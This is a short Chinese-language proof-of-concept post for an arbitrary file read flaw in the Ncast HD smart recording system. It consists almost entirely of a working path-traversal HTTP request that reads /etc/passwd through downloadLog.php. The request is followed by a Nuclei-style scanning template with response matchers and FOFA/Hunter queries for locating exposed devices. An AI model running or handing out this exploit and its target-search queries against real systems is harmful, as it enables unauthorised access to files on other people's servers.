Ncast高清智能录播系统存在任意文件读取漏洞

GET /developLog/downloadLog.php?name=../../../../etc/passwd HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: close

id: ncast_arbitrary_file_readinfo:  name: Ncast任意文件读取漏洞  author: maoge  severity: high  description: Ncast高清智能录播系统任意文件读取漏洞  reference:    - https://example.com/  metadata:    verified: true    max-request: 1    fofa-query: title=="高清智能录播系统"    hunter-query: web.title=="高清智能录播系统"http:  - raw:      - |        GET /developLog/downloadLog.php?name=../../../../etc/passwd HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0        Accept: */*        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close    max-redirects: 3    matchers-condition: and    matchers:      - type: word        part: body        words:          - bin/sh          - root